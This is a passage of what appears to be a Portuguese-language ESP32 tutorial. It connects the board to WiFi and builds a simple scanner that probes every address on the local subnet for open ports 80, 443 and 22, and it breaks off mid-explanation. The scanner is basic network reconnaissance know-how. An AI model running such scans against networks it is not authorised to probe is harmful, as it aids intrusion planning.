&lt;p&gt;Inicia a comunicação serial com uma taxa de 115200 bps e espera por 10 milissegundos.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Conexão à Rede WiFi no Método setup():&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Conectando a "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;WL_CONNECTED&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;O programa imprime no console serial que está tentando se conectar à rede especificada.&lt;/p&gt;

&lt;p&gt;WiFi.begin(ssid, password) inicia a conexão à rede WiFi usando as credenciais fornecidas.&lt;/p&gt;

&lt;p&gt;O loop while espera até que a conexão seja estabelecida (WL_CONNECTED).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exibição de Informações Após a Conexão Bem-sucedida no Método setup():&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Conectado ao WiFi"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Endereço IP: "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localIP&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Uma vez conectado, o programa imprime que foi conectado com sucesso e exibe o endereço IP atribuído ao ESP32.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Método loop():&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;O método loop() está vazio neste exemplo. Este é o local onde você colocaria o código que deve ser executado continuamente após a inicialização.&lt;/p&gt;

&lt;h2&gt;
  
  
  O que faremos ?
&lt;/h2&gt;

&lt;p&gt;Agora que adquirimos conhecimento sobre como realizar a conexão com o dispositivo, podemos ponderar sobre os seguintes aspectos:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Possuo um periférico capaz de se integrar à rede.&lt;/li&gt;
&lt;li&gt;Esse periférico dispõe de capacidade de processamento.&lt;/li&gt;
&lt;li&gt;Ele opera utilizando uma linguagem de programação.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Diante dessas considerações, surge a pergunta: &lt;strong&gt;por que não desenvolver algo para explorar a rede?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A partir dessa premissa, exploraremos os endereços IP da rede para identificar portas abertas.&lt;/p&gt;

&lt;p&gt;Atualmente, já possuímos:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Conexão estabelecida com a rede WiFi.&lt;/li&gt;
&lt;li&gt;Atribuição dinâmica de endereço IP por meio do DHCP da rede.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Com base nessas informações, iniciaremos uma busca por portas abertas em possíveis computadores ou servidores.&lt;/p&gt;

&lt;p&gt;A seguir, apresento o código correspondente:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;WiFi.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SEU_SSID"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SUA_SENHA"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Lista de IPs a serem testados&lt;/span&gt;
&lt;span class="n"&gt;IPAddress&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;currentIpIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Lista de portas a serem testadas&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;19200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Conectando ao WiFi..."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;WL_CONNECTED&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"WiFi conectado"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"IP address: "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localIP&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="c1"&gt;// Aguardar antes de repetir o teste&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;currentIpIndex&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Resetar o índice para começar de novo&lt;/span&gt;
    &lt;span class="n"&gt;currentIpIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Extrair os três primeiros octetos do endereço IP&lt;/span&gt;
  &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="n"&gt;IPAddress&lt;/span&gt; &lt;span class="n"&gt;localIP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localIP&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;localIP&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Criar o IPAddress com base nos três primeiros octetos e no último octeto variável&lt;/span&gt;
  &lt;span class="n"&gt;IPAddress&lt;/span&gt; &lt;span class="nf"&gt;ipToTest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;currentIpIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;WiFiClient&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ipToTest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Conectado a %s na porta %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ipToTest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
      &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Falha na conexão a %s na porta %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ipToTest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Incrementar o índice para o próximo IP na próxima chamada&lt;/span&gt;
  &lt;span class="n"&gt;currentIpIndex&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Inclusão de Bibliotecas:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;WiFi.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Essa parte do código inclui as bibliotecas necessárias para a comunicação com a rede WiFI.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SEU_SSID"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SUA_SENHA"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Substitua "SEU_SSID" e "SUA_SENHA" pelo nome e senha da sua rede WiFi.&lt;br&gt;
Listas de IPs e Portas:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="n"&gt;IPAddress&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;currentIpIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;ips: Uma lista de endereços IP a serem testados.&lt;/li&gt;
&lt;li&gt;currentIpIndex: Índice atual na lista de IPs.&lt;/li&gt;
&lt;li&gt;portas: Uma lista de portas a serem testadas.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Configuração no Método setup():&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;19200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Conectando ao WiFi..."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;WL_CONNECTED&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"WiFi conectado"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"IP address: "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localIP&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Serial.begin(19200): Inicia a comunicação serial com uma taxa de 19200 bps.&lt;/li&gt;
&lt;li&gt;WiFi.begin(ssid, password): Inicia a conexão WiFi usando as credenciais fornecidas.&lt;/li&gt;
&lt;li&gt;while (WiFi.status() != WL_CONNECTED): Aguarda até que a conexão seja estabelecida.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Após a conexão bem-sucedida, o código imprime mensagens indicando que o WiFi foi conectado e exibe o endereço IP atribuído ao dispositivo.&lt;/p&gt;

&lt;p&gt;Método loop():&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
